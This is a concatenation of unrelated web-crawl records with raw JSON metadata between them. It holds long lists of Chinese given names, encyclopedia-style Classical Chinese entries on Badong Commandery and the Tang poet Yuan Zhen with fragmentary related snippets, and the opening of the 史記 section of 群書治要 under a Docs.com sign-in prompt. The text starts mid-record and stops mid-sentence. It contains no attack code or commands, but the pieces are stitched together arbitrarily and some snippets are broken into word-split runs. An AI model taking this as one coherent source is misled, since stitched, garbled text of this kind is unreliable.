常宫燕 常思蓉 常妍烁 常延妍 常富娥 常桂茹 常富红 常鑫娜 常勇琳 常宇嫣 常怡馨 常周萍 常辛怡 常兰霞 常振燕 常美燕 常睫艳 常芸媛 常熹文 常寒婷 常熙萍 常芳萍 常瑞妍 常婧语 常玲可 常婷昱 常婷奕 常桂媛 常翠芬 常荚萍 常佳萍 常嘉萍 常红妍 常芬芬 常怡颐 常佩瑶 常润琴 常茹玉 常茹俞 常瑛泽 常洪文 常清琳 常秀莉 常晓萍 常九文 常妍姝 常路瑶 常显娜 常淑雪 常蕴文 常虹艳 常美婷 常爱婷 常绣婷 常婷梃 常梃婷 常桦婷 常栎婷 常惋婷 常婷昭 常婷汀 常婷莛 常婷葶 常延丽 常春妹 常迎霞 常树琴 常心红 常小英 常宝妍 常双娜 常蓉娇 常卓冉 常莘悦 常忻悦 常昕悦 常万萍 常立丽 常永莉 常元玲 常龙艳 常怡翔 常文冉 常凤红 常维婷 常亭婷 常焕琴 常全丽 常艳娥 常忠文 常怡蕊 常婷秀 常秀琴 常潇萍 常笑萍 常燕萍 常福芳 常文怡 常洛嫣 常跃芳 常如嫣 常凤美 常宇霞 常筱冉 常树文 常锹洁 常竺琳 常莉颉 常洛颖 常紫嫣 常紫妍 常郁婷 常东娅 常香玲 常玲玉 常光花 常茜倩 常倩茜 常盛莹 常芸莹 常莹芸 常茹娇 常茹意 常茹虹 常睛怡 常萍茹 常鼎冉 常书蓉 常桂娟 常橼芳 常成丽 常泰萍 常怡香 常许冉 常沛蓉 常宛蓉 常仔蓉 常紫蓉 常蓉桦 常慧蓉 常茉蓉 常婉蓉 常福英 常悦萌 常悦馨 常悦新 常悦昕 常悦鑫 常悦芯 常玮玉 常鲜霞 常梅艳 常伊文 常熙媛 常守艳 常美琳 常琼瑶 常楚英 常檬倩 常思雪 常永婵 常熙娟 常庆颖 常晓娥 常小娥 常檬瑶 常继娜 常爱美 常素芬 常亚芳 常振芳 常莹涵 常同玲 常永玉 常庆芳 常晴雪 常哓琴 常嫣珉 常秀雪 常洋嫣 常雪霞 常素艳 常晓芬 常静芳 常莉祯 常莉侦 常芳琴 常梓秀 常钰蓉 常钰妍 常钰嫣 常钰霞 常茜嫣 常莉嘉 常素霞 常文秀 常莉清 常丽婧 常妍菲 常贵玲 常全文 常学英 常英丽 常娅琦 常婷钰 常怀芳 常倩男 常元英 常钰莹 常丹燕 常爱红 常钰娥 常钰芳 常霁倩 常喜茹 常梅梅 常勋娟 常婧琦 常妍辉 常新怡 常森悦 常茹琦 常莹琦 常悦欣 常思颖 常昕怡 常心倩 常妍琪 常毅文 常虽花 常露怡 常红红 常谰琼 常焱茹 常卓文 常新玲 常睿玲 常美英 常怡君 常政文 常凌霞 常其霞 常沐瑶 常晓秀 常恺玲 常瑶琦 常玲莉 常琪霞 常湘娅 常涵燕 常苹花 常琴萤 常莹兰 常钰颖 常琴宜 常笙莹 常江雪 常琦琳 常琦颖 常芳洁 常慧妍 常妍慧 常豪洁 常钰丽 常钰萍 常优妹 常优倩 常优婷 常贻芳 常优美 常占霞 常晶红 常林冉 常庭莉 常妃媛 常安红 常昭悦 常娟歌 常宇茹 常继萍 常英娜 常少莉","id":"","dump":"CC-MAIN-2019-35","url":"http:\/\/www.cc681.cn\/show_A3E.aspx","date":"2019-08-26T07:29:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027331228.13\/warc\/CC-MAIN-20190826064622-20190826090622-00506.warc.gz","language":"lzh","language_score":0.4923975468,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4923975467681885, \"nan_Hani_score\": 0.3363974988460541, \"wuu_Hani_score\": 0.16152042150497437}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n魏爱国 魏爱荣 魏嫒梦 魏瑷梦 魏瑷骐 魏安安 魏安利 魏安林 魏安楠 魏安琪 魏安晴 魏安正 魏傲澜 魏傲然 魏八章 魏巴晔 魏巴跃 魏巴越 魏百斤 魏百园 魏柏锦 魏柏兰 魏柏轩 魏帮华 魏宝华 魏宝柱 魏保保 魏保国 魏葆芙 魏钡铬 魏蓓园 魏本本 魏本比 魏本长 魏本成 魏本呈 魏本打 魏本君 魏本亮 魏本敏 魏本人 魏本一 魏本展 魏本子 魏比本 魏比比 魏比长 魏比呈 魏比打 魏比亮 魏比一 魏比展 魏比子 魏碧灿 魏碧虹 魏碧阑 魏弁帆 魏变滟 魏宾灿 魏冰安 魏冰吧 魏冰芭 魏冰白 魏冰办 魏冰比 魏冰璧 魏冰兵 魏冰伯 魏冰材 魏冰层 魏冰城 魏冰程 魏冰璀 魏冰二 魏冰汾 魏冰海 魏冰箭 魏冰兰 魏冰利 魏冰三 魏冰帅 魏冰丝 魏冰彤 魏冰心 魏冰一 魏冰钰 魏波林 魏钵稀 魏伯贵 魏伯昊 魏伯羊 魏铂忏 魏铂晶 魏铂青 魏博冰 魏博才 魏博琛 魏博浩 魏博蓄 魏博阳 魏博洋 魏渤杭 魏薄冰 魏才博 魏才溢 魏采斐 魏采扬 魏彩虹 魏彩晖 魏彩来 魏彩诗 魏彩雯 魏彩萱 魏灿阳 魏岑飞 魏岑栖 魏昌军 魏昌武 魏长保 魏长本 魏长比 魏长长 魏长成 魏长呈 魏长打 魏长贵 魏长亮 魏长清 魏长人 魏长拴 魏长学 魏长一 魏长银 魏长展 魏长子 魏常富 魏常学 魏畅然 魏超甲 魏朝磊 魏朝旭 魏朝阳 魏朝永 魏琛铭 魏琛人 魏琛晓 魏尘栖 魏辰希 魏辰曦 魏辰宇 魏陈浩 魏陈翔 魏晨朝 魏晨晨 魏晨斐 魏晨卉 魏晨希 魏晨曦 魏晨旭 魏晨扬 魏晨阳 魏成海 魏成金 魏成龙 魏成明 魏成扬 魏成瑜 魏呈本 魏呈比 魏呈长 魏呈呈 魏呈打 魏呈亮 魏呈人 魏呈一 魏呈友 魏呈展 魏呈子 魏承志 魏程力 魏彳忠 魏冲铭 魏崇军 魏雠滟 魏楚凡 魏楚涵 魏楚阳 魏楚洋 魏楚瑜 魏楚渊 魏楚紫 魏川惠 魏川江 魏传海 魏传峻 魏传林 魏传勋 魏传哲 魏创发 魏垂林 魏春采 魏春娣 魏春峰 魏春凤 魏春光 魏春合 魏春荣 魏纯源 魏慈纹 魏慈耘 魏聪舟 魏琮临 魏翠灿 魏翠翠 魏翠阑 魏存重 魏打本 魏打比 魏打长 魏打呈 魏打打 魏打亮 魏打人 魏打一 魏打展 魏打子 魏大堡 魏大便 魏大迪 魏大刚 魏大钧 魏大侣 魏大生 魏大书 魏大伟 魏大卫 魏大兴 魏大勇 魏大狁 魏大忠 魏岱石 魏丹丹 魏当好 魏凼弦 魏得钰 魏德才 魏德超 魏德春 魏德法 魏德华 魏德匠 魏德名 魏德青 魏德羽 魏登荣 魏迪生 魏娣华 魏殿庭 魏殿真 魏丁丁 魏玎弛 魏玎亘 魏玎耒 魏东华 魏东健 魏东亮 魏东林 魏东平 魏东宇 魏冬冬 魏冬菊 魏冬威 魏冬羽 魏冬雨 魏敦钧 魏敦山 魏沲娆 魏恩炀 魏恩泽 魏二畅 魏帆秀 魏凡采 魏凡海 魏凡嘉 魏凡帏 魏凡翔 魏凡欣 魏凡雅 魏凡焱 魏凡越 魏蕃普 魏方琛 魏方可 魏方祺 魏方舜 魏方珍 魏芳捷 魏芳晋 魏芳来 魏芳睿 魏芳萱 魏飞冰 魏飞举 魏飞羽 魏飞钰 魏非凡 魏菲樊 魏菲菲 魏斐采 魏翡凤 魏丰隆 魏锋霆 魏凤灿 魏凤香 魏伏天 魏福安 魏福宸 魏福聚 魏福钧 魏福同 魏福源 魏福志 魏富安 魏富贵 魏富强 魏淦铭 魏刚熙 魏港耘 魏高乐 魏高强 魏高祥 魏歌灿 魏铬秀 魏公定 魏菇佗 魏古皓 魏谷育 魏观止 魏冠军 魏冠行 魏鹳滟 魏光碧 魏光彪 魏光好 魏光辉 魏光黎 魏光亮 魏光浓 魏光荣 魏光问 魏光勇 魏广才 魏广涵 魏广君 魏广林 魏广铭 魏广强 魏广锐 魏广羽 魏广远 魏炅材 魏桂兰 魏桂芹 魏国宝 魏国彬 魏国栋 魏国富 魏国航 魏国恒 魏国泓 魏国华 魏国桦 魏国淮 魏国举 魏国梁 魏国鹏 魏国强 魏国霆 魏国萱 魏海东 魏海栋 魏海峰 魏海海 魏海航 魏海舰 魏海军 魏海钧 魏海俊 魏海亮 魏海龙 魏海猊 魏海诺 魏海锘 魏海涛 魏海彤 魏海熙 魏海扬 魏海雨 魏海耔 魏含芸 魏函池 魏涵恒 魏寒雅 魏汉栋 魏汉金 魏汉钧 魏汉青 魏汉章 魏汗璋 魏翰宇 魏翰泽 魏瀚阳 魏杭萱 魏濠旭 魏好赫 魏好就 魏昊东 魏昊天 魏昊沅 魏昊中 魏浩丞 魏浩东 魏浩桓 魏浩钧 魏浩鹏 魏浩芹 魏浩然 魏浩阳 魏浩展 魏皓东 魏皓天 魏皓阳 魏颢东 魏灏东 魏禾苗 魏合灿 魏合颢 魏合妙 魏和国 魏荷纯 魏荷儿 魏鹤立 魏恒涵 魏弘博 魏弘仕 魏弘阳 魏弘羽 魏红安 魏红兵 魏红军 魏红蕾 魏红铃 魏红晓 魏红星 魏宏彬 魏宏波 魏宏栖 魏宏谦 魏宏升 魏宏伟 魏宏星 魏宏宇 魏泓冰 魏洪峰 魏洪敏 魏洪涛 魏洪贤 魏洪泽 魏鸿璨 魏鸿琛 魏鸿欣 魏鸿旭 魏鸿阳 魏华灿 魏华春 魏华迪 魏华沣 魏华凝 魏华阳 魏怀清 魏鬟霁 魏焕容 魏焕耘 魏焕真 魏辉强 魏会强 魏慧敏 魏豁海 魏豁家 魏豁娇 魏积飞 魏积军 魏吉军 魏几晁 魏季菡 魏济济 魏继发 魏继宏 魏继京 魏继召 魏骥举 魏佳哈 魏佳涵 魏佳宏 魏佳绩 魏佳佳 魏佳论 魏佳吗 魏佳楠 魏佳浓 魏佳淇 魏佳琦 魏佳钦 魏佳荣 魏佳桑 魏佳天 魏佳巍 魏佳芯 魏佳鑫 魏佳兴 魏佳扬 魏佳艺 魏佳妤 魏枷濠 魏家宝 魏家擘 魏家福 魏家钧 魏家兴 魏家阅 魏家越 魏嘉灿 魏嘉迪 魏嘉凡 魏嘉富 魏嘉恒 魏嘉弘 魏嘉宏 魏嘉虹 魏嘉鸿","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-30-3.html","date":"2021-09-21T11:51:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00499.warc.gz","language":"lzh","language_score":0.9928407073,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9928407073020935}","num_words":542,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.993,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 巴東郡\n巴東郡 ,漢唐所設,在今重慶市東。\n漢獻帝初平六年(華陽國志舊本作「元年」,近人任乃強乃據後漢書 郡國志劉昭注引譙周巴記改,是時劉璋未改年號「興平」。),征東中郎將趙韙建議分巴郡。故益州牧劉璋,以墊江以上為巴郡,以江州至臨江為永寧郡,朐忍至魚復為固陵郡,巴遂分矣。\n建安六年,固陵人蹇胤上書白璋,爭巴名。璋乃改固陵為巴東,是為三巴。巴東縣有涪陵,縣人謝本白璋,求分置丹興、漢髮二縣,以涪陵為郡。璋析為巴東屬國。\n漢烈祖入益州,改為江關都尉。建安二十一年,以朐忍、魚復、漢豐、羊渠,及宜都之巫、北井六縣為固陵郡,治魚復。章武元年,朐忍縣人徐慮、魚復縣人蹇機,以失巴名,上表自訟。烈祖從之,復為巴東。\n晉改永安為魚復,仍治巴東,領三縣,戶六千五百。南北朝時,郡州多有變革,隋立,巴東郡轄域擴增,領縣十三,戶二萬一千三百七十,治人復。唐時改巴東郡為歸州。\n- 郡 稱 巴 郡 故 巴 郡 稱巴西 郡 固陵 郡 稱 巴 東 郡 並析置2縣為 巴 東 屬國 後為涪陵 郡 建安末 於巴西 郡 析置宕渠 郡 故 巴 郡 裂為五 郡 轄境乃蹙 及西晉 轄四縣 畧為今重慶主城 仍治江州縣 南齐永明五年 易江州縣為墊江縣 至隋 轄三縣 治所江州易名 巴 縣 唐乃廢 郡 置渝州 巴 郡 旋棄 巴 縣一文似未成 宜善之\n- 益州刺史部位 巴 蜀之地 西南山中也 號天府之國 蜀路有錦江之險 地連劍閣之雄 北抵祁山 東 鄰荊州 南撫諸蠻國 縱橫三萬餘里 田肥地美 歲無水旱之憂 所產之物 阜如山積 益州富鐵 錫 銅 銀 金 鉛等金屬 又出蜀錦 丹等 益州轄九 郡 漢中 郡 巴 郡 廣漢 郡 蜀 郡 犍為 郡 牂牁 郡 越巂 郡 益州 郡 永昌 郡 及三屬國 廣漢屬國 蜀郡屬國 犍為屬國\n- 岳陽 古之巴陵縣也 今屬湖南省 西飲洞庭 東 倚羅霄 南鄰長沙 江水迴環於北 方萬四千九百公里 口五百四十萬有奇 夏商為三苗之域 春秋之末 楚遷糜 羅國于此 築西糜城 為建城之始也 秦屬長沙 郡 之羅縣 漢隸長沙國 長沙 郡 孫吳置漢昌 郡 于今之平江 始建 郡 後魯肅築 巴 丘城 傳 巴 丘城之閱兵樓乃岳陽樓之始也 晉太康元年 析長沙 郡\n- 九年 王冠於蔪年宮 嫪毐叛 攻蔪年宮 王早陳精兵三千敗之 復攻咸陽宮 亦北 自亡走 為王所擒 車裂而死 曝屍示萬里 禁太后於雍萯陽宮 削呂不韋侯 逐之 巴 蜀 十七年 使內史騰帥兵十萬渡河伐韓 陷新鄭 虜韓王安 置潁川 郡 韓亡 十九年 王翦拔趙 放趙幽繆王河南房陵 子嘉自立為代王 翌年 燕太子丹以趙既沒 燕見危 遣荊軻等以獻地之名入\n- 范陽房: 漢隴西 河東二郡太守李伯考第二子李尚之子孫 頓丘房: 漢郎中令 關內侯李敢之第二子李忠之子孫 渤海房: 漢郎中 侍御史李本之第二子李恬之子孫 安邑房: 漢濟北 東 莞二 郡 太守李雍之孫李蓋之子孫 申公房: 漢 巴 郡 太守 西夷校尉李次公之第二子李潛之子孫 新唐書 表第十二上 新唐書 表第十上 新唐書宰相世系表集校\n- 李特僭號於蜀 陷益州 晉僑置諸 巴 東 郡 桓溫入蜀 復有之 宋武帝永初二年 以晉徐州爲南徐州 北徐州爲徐州 文帝元嘉八年 以北徐州爲南兗州 南徐州徙治京口 以晉陵 郡 兗州九僑 郡 屬之 永初三年 檀道濟牧南兗州 治廣陵 永明元年 許刺史柳世隆奏 行土斷 省其濟陰 下邳 淮陽 東 莞四 郡 此四 郡 者 并有名無土 僑民散居州境 朝廷患之\n- 郡 三十有六 後歷戰事 拓土為 郡 至秦亡有四十一 郡 縣七百餘 郡 長有三 曰郡守 司政 曰 郡 尉 司兵事 曰 郡 丞 副守也 內郡守以郎充 邊郡或以將任 銀印青綬 秩二千石 除尉 丞 監御史 縣令 丞 郡 官皆守所任 為守內調為諸卿 新 郡 長以尉 蓋 郡 新置而鮮政事 事多護土著者也 郡 尉主 郡\n- 大議會以百六十九人 自十九 郡 選得 首相假王命領國政 王兼國教 三軍之首 亦任十九 郡 長 挪威分十九 郡 外領二地方 郡 下置自治市 其十九 郡 實得十八 一九七二年卑爾根 郡 改市 後未有新 郡 立 而卑爾根仍列同級 十八 郡 自南而北者 東 福爾 郡 治薩爾普斯堡 奧斯陸以京師 兼治阿克什胡斯 郡 亦自為一 郡 海德馬克 郡 治哈馬爾 奧普蘭 郡\n- 巴 麻 俗叫小濱 阿喇斯姑 俗叫新城 達奇度奴 俗叫武富 巴 梯呂麻 俗叫波照間 姑呂世麻 俗叫黑島 巴 度麻 俗叫鳩間 由那姑尼 俗叫與那國 以上九島 總稱之曰八重山 又曰大平山 姑達佳 俗叫久高 津奇奴 俗叫津堅 巴 麻 俗叫濱比嘉 伊奇 俗叫伊計 姑米 俗叫久米 東\n- 漢昭烈皇帝 諱備 字玄德 延熹四年生 中山靖王後也 祖父劉雄舉孝廉 官 東 郡 範令 父為漢官劉弘 亦仕州郡 少孤 遂與母履織蓆為業 年十五 母令其遊學 備偕同宗劉德然師盧植 同門有公孫瓚 德然父元起資備 其妻嘗曰 各自一家 何能常爾邪 對曰 吾宗中有此兒 非常人也\n- 郡 將守上表曰 臣聞人生於三 事之如一 惟難所在 則致其命 今臣國敗主附 守死無所 是以委質 不敢有貳 司馬昭善之 又拜南中都督 委以本任 弋與 巴 東 領軍襄陽羅憲各保全一方 舉以內附 咸因仍前任 寵待有加 後遣將兵救援呂興 平交阯 日南 九真三 郡 功封列侯 進號崇賞焉 三國志 蜀書 霍弋傳","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/68502\/1\/%E5%B7%B4%E6%9D%B1%E9%83%A1.html","date":"2021-12-03T03:52:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00077.warc.gz","language":"lzh","language_score":0.8316797614,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8316797614097595, \"cmn_Hani_score\": 0.11218450963497162, \"nan_Hani_score\": 0.05278908461332321}","num_words":410,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.869,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ⓘ 元稹\n元稹 ,字 微之 ,別字 威明 ,唐河南河南人,代宗大曆十四年生。幼孤。九歲工屬文,十五擢明經,判入等,補校書郎。\n元和元年舉制科,對策第一,拜左拾遺。性明銳,遇事輒舉。當路者惡之,出為河南尉,以母喪解。服除,拜監察御史。按獄東川。俄分司東都,召還。次敷水驛,中人仇士良夜至,稹不讓,中人怒,擊稹敗面。宰相以稹年少輕樹威,失憲臣體,貶江陵士曹參軍,而李絳、崔群、白居易皆論其枉。久乃徙通州司馬,改虢州長史。元和末,召拜膳部員外郎。\n稹尢長於詩,天下傳諷,號元和體。穆宗在東宮,妃嬪近習皆誦之,宮中呼元才子。稹之謫江陵,善監軍崔潭峻。長慶初,潭峻方親幸,以稹歌詞數十百篇奏御,帝大悅。擢祠部郎中,知制誥。變詔書體,務純厚明切,盛傳一時。然其進非公議,為士類訾薄。俄遷中書舍人、翰林承旨學士。數召入,禮遇益厚。\n裴度三上疏劾、稹傾亂國政。帝迫群議,出稹為工部侍郎。然眷倚不衰。未幾,進同中書門下平章事,朝野雜然輕笑,稹思立奇節報天子以厭人心。時王廷湊方圍牛元翼於深州,稹所善于方言︰「王昭、于友明皆豪士,雅游燕、趙間,能得賊要領,可使反間而出元翼。」李逢吉知其謀,陰令李賞訹裴度曰︰「于方為稹結客,將刺公。」度隱不發。神策軍中尉以聞,詔韓皋、鄭覃及逢吉雜治,無刺度狀,而方計暴聞,遂與度偕罷宰相,出為同州刺史。諫官爭言度不當免,而黜稹輕。帝獨憐稹,但削長春宮使,徙浙東觀察使。太和三年,召為尚書左丞,務振綱紀。然稹素無檢,望輕,不為公議所右。俄拜武昌節度使。五年卒,年五十三,贈尚書右僕射。\n稹仲兄司農少卿積,營護喪事。所著詩賦、詔冊、銘誄、論議等雜文一百卷,號曰元氏長慶集。又著古今刑政書三百卷,號類集,並行於代。\n- 鳥 葉送往來風 父楸然久之 濤未及笄 父亡 迫為樂妓 貞元年間 西川節度使韋皋甚憐之 招其至帥府赴宴賦詩 一日 皋授之 校書 一職 上未允之 然校書之名世人皆知也 後世亦以薛校書稱之 濤遇 元 稹 於梓州 稹 憐之 然無果矣 遲暮時 制箋為生 孤獨而亡 何光遠 鑑誡錄 卷十 范攄 雲溪友議\n- 曰: 養兵河北 待至冬日霜降 渡河抵鄆擊師道 帝納其謀 令田弘正行之 元 和十四年二月 師道果為其部曲所殺於鄆 傳首京師 自是藩鎮懾服 北面稱臣 憲宗崩 穆宗嗣位 藩鎮復亂 度受命討之 元 稹 方欲入相 懼度歸朝 頗加貶損 度亦懼 乃白 元 稹 惡行於帝 得免 卒罷度兵權 遷東都留守 居洛陽 王師聞度離任 莫不失\n- 甫世譽 詩聖 與李白並稱 李杜 傳 杜工部集 元 稹 之言曰 李白壯浪縱咨 擺去拘束 誠亦差肩子美矣 至若鋪陳終始 排比聲韻 大或千言 次猶數百 詞氣豪邁 而風調清深 屬對律切 而脫棄凡近 則李尚不能曆其藩翰 況堂奧乎 白居易亦云 杜詩貫穿古今 盡工盡善 殆過于李 元\n- 唐 樊綽 蠻書 名類第四 載云 作擖欄舍屋 案 擖 說文集韻並音劼音臈 刮也 撻也 元 稹 酬樂天得微之詩知通州事因成四首 诗云 平地才應壹頃余 閣欄都大似巢居 註 巴人多在山坡架木為居 自號閣欄頭也 清 李調 元 南越筆記 云 欄架木為之 上以棲人 下以棲群畜 名欄房 亦曰高欄 曰麻欄子 楊宏烈 胡文中 潘廣慶 西關大屋與騎樓\n- 狀 以固守關防 伺其可擊則用兵 李德裕卻以 守險示弱 虜無由退 擊之為便 武宗采納李德裕之法 反擊回鶻 勝 會昌三年 澤潞節度使劉 稹 叛亂 李德裕上奏劉 稹 之叛乃牛僧孺 李宗閔二人之罪 牛僧孺被貶汀州刺史 十一月又貶循州 今廣東惠州市東 員外長史 李宗閔亦貶 會昌六年 唐宣宗即位 白敏中當政 李黨紛紛被斥","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/google-cn.info\/11005\/1\/%E5%85%83%E7%A8%B9.html","date":"2021-12-03T05:48:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362589.37\/warc\/CC-MAIN-20211203030522-20211203060522-00443.warc.gz","language":"lzh","language_score":0.4332395196,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.43323951959609985, \"cmn_Hani_score\": 0.34150782227516174, \"nan_Hani_score\": 0.20739978551864624}","num_words":164,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.613,"perplexity_score":500.0,"cluster_detection":1} +{"text":"起个带子字的男孩名字?\n子晨 子涛 子凡 子强 子科 子飞 子凯 子铭 子群 子嘉 子铎 子阳 子辉 子宾 子誉 子生 子强 子朝 子周 子杰 子绍 子琳 子建 子玺 子鑫 子沁 子斌 子淼 子龙 子风 子潇 子淼 子灵 子壮 子画 子启 子绪 子瑞 子梁 子萌 子顺 子景 子三 子田 子超 子建 子程 子斌 子洪 子锴 子宁 子平 子磊 子智 子桐 子航 子澎 子邦 子益 子勇 子森 子磊 子益 子巍 子水 子语 子源 子海 子波 子捷 子超 子申 子栾 子盛 子聪 子龙 子戈 子宇 子柏 子森 子俊 子泉 子珏 子飞 子楠 子禺 子阳 子跞 子泉 子克 子鑫 子捷 子洋 子金 子家 子全 子漾 子林 子深 子渔","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.3jwk.com\/ask\/13552.html","date":"2022-01-20T17:27:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320302355.97\/warc\/CC-MAIN-20220120160411-20220120190411-00713.warc.gz","language":"lzh","language_score":0.9995868802,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9995868802070618}","num_words":101,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.325,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"What email address or phone number would you like to use to sign in to Docs.com?\nIf you already have an account that you use with Office or other Microsoft services, enter it here.\nRemember me\nOr sign in with:\nSigning in allows you to download and like content, and it provides the authors analytical data about your interactions with their content.\nEmbed code for: 史部-史記 群書治要\nSelect a size\n本 紀\n黄帝者。少典之子。姓公孫。有熊國君。少典之子也。名曰軒轅。生而神靈。弱而能言。幼而徇齊。徇。疾也。齊。速也。言聖德幼而疾速也。長而敦敏。成而 聰明。神農氏世衰。諸侯相侵伐。而神農氏弗能徵。於是軒轅乃習用干戈。修德振兵。以與炎帝戰於阪泉之野。阪泉。地名。三戰然後得其志。蚩尤作亂。乃殺蚩尤 而代神農氏。是爲黄帝。東至于海。西至於空桐。山名也。在隴右。南至于江。北逐葷粥。獫狁也。邑于涿鹿之阿。遷徙往來無常處。以師兵爲營衞。置左右大監。 監于萬國。舉風后。力牧。常先。大鴻以治民。順天地之紀。時播百穀。勞勤心力耳目。節用水火材物。有土德之瑞。故號黄帝。\n帝王世紀曰。神農氏衰。蚩尤氏叛。不用帝命。黄帝於是修德撫民。始垂衣裳以班上下。刳木爲舟。剡木爲檝。舟檝之利。以濟不通。服牛乘馬。以引重致遠。 重門擊柝。以待暴客。斷木爲杵。掘地爲臼。杵臼之用。以利萬人。弦木爲弧。剡木爲矢。弧矢之利。以威天下。諸侯咸叛神農而歸之。討蚩尤氏。禽之于涿鹿之 野。諸侯有不服者。從而徵之。凡五十二戰。而天下大服。俯仰天地。置衆官。故以風后配上台。天老配中台。五聖配下台。謂之三公。其餘地典。力牧。常先。大 鴻等。或以爲師。或以爲將。分掌四方。各如己視。故號曰黄帝四目。又使岐伯嘗味草木。典醫疾。今經方本草之書咸出焉。其史倉頡。又象鳥迹。始作文字。自黄 帝以上。穴居而野處。死則厚衣以薪。葬之中野。結繩以治。及至黄帝。爲築宫室。上棟下宇。以待風雨。而易以棺槨。制以書契。百官以序。萬民以察。神而化 之。使民不倦。後作雲門咸池之樂。周禮所謂大咸者也。於是人事畢具。黄帝在位百年而崩。年百一十歲矣。或傳以爲仙。或言壽三百年。故宰我疑以問孔子。孔子 曰。民賴其利。百年而崩。民畏其神。百年而亡。民用其教。百年而移。故曰三百年。\n帝顓頊高陽者。黄帝之孫。昌意之子也。養材以任地。載時以象天。依鬼神以制義。治氣以教化。潔誠以祭祀。北至於幽陵。南至於交趾。西濟(濟作至)于流 沙。東至于蟠木。東海中有山焉。名度索。上有大桃樹。屈蟠三千里也。動静之物。大小之神。日月所照。莫不砥屬。砥。平也。四遠皆平而來服屬也。帝王世紀 曰。帝顓頊平九黎之亂。使南正重司天以屬神。火正黎司地以屬民。於是民神不雜。萬物有序。\n帝嚳高辛者。高陽。高辛。皆所興地名也。顓頊與嚳。以字爲號。上古質故也。黄帝之曾孫也。生而神靈。聰以知遠。明以察微。仁 而威。惠 而信。修身而天下服。取地之財而節用之。撫教萬民而利誨之。歷日月而迎送之。明鬼神而敬事之。其色郁郁。其德嶷嶷。其動也時。其服也士。日月所照。風雨所 至。莫弗從服。帝王世紀曰。帝嚳以人事紀官。故以句芒爲木正。祝融爲火正。蓐收爲金正。玄冥爲水正。后土爲土正。是五行之官。分職而治。\n帝堯放勛。其仁如天。其智如神。就之如日。望之如雲。富而不驕。貴而不舒。帝王世紀曰。帝堯置欲諫之鼓。命羲和四子羲仲。羲叔。和仲。和叔。分掌四時 方岳之職。故名徵。天下大和。百姓無事。有五老人。擊壤於道。觀者嘆曰。大哉堯之德也。老人曰。日出而作。日入而息。鑿井而飲。耕田而食。帝力何有於我 哉。墨子以爲堯堂高三尺。土堦三等。茅茨不翦。採椽不斫。夏服葛衣。冬服鹿裘。\n虞舜名曰重華。父瞽叟頑。母嚚。弟象傲。皆與殺舜。舜順適不失子道(舊無子道二字。補之)以孝聞。於是堯乃以二女妻舜。以觀其内。使九男與處。以觀其 外。二女不敢以貴驕。九男皆益篤 。舜耕歷山。歷山之人皆讓畔。漁雷澤。雷澤上人皆讓居。陶河濱。河濱器皆不苦窳。窳。病也。一年而所居成聚。二年成邑。三年成都。於是堯乃試舜五典。百官 皆治。以揆百事。莫不時序。流四凶族。以禦螭魅。堯乃使舜攝行天子政。堯崩。天下歸舜。\n帝王世紀曰。舜立誹謗之木。論曰。孔子稱古者三皇五帝設防而不犯。故無陷刑之民。是以或結繩而治。或象畫而化。自庖犧至於堯。舜。神道設教。可謂至 政。無所用刑矣。夫三載考績。黜陟幽明。善無微不著。惡無隱不章。任自然以誅賞。委群心以就制。故能造御乎無爲。運道於至和。百姓日用而不知。含德若自有 者也。詩云。上天之載。無聲無臭。其斯之謂乎。\n夏禹名曰文命。當堯之時。洪水滔天。舜登用。乃命禹平水土。勞身焦思。居外十三年。過家門不敢入。薄衣食。致孝于鬼神。卑宫室。致費於溝洫。以開九 州。通九道。陂九澤。度九山。行相地宜所有以貢。東漸于海。西被于流沙。朔南曁。朔。北方也。聲教訖于四海。於是帝錫禹玄圭。以告成功於天下。於是大平 治。帝舜薦禹於天。舜崩。遂即天子位。國號曰夏后。十七世。帝履癸立。是爲桀。不務德而武傷百姓。百姓弗堪。湯修德。諸侯皆歸湯。湯遂伐桀。桀走鳴條。南 夷地名。遂放而死。\n湯始居亳。徵諸侯。爲夏方伯。得專徵伐。葛伯不祀。湯始伐之。湯曰。予有言。人視水視形。視民知治不。伊尹曰。明哉言。能聽。道迺進。君國子民。爲善 